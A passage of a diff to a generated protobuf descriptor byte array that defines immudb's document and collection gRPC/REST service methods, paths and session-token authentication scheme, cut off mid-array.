0x12, 0x0a, 0x0a, + 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, - 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, - 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, - 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, + 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, - 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, + 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, - 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, - 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, - 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, - 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x33, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, + 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, + 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, + 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 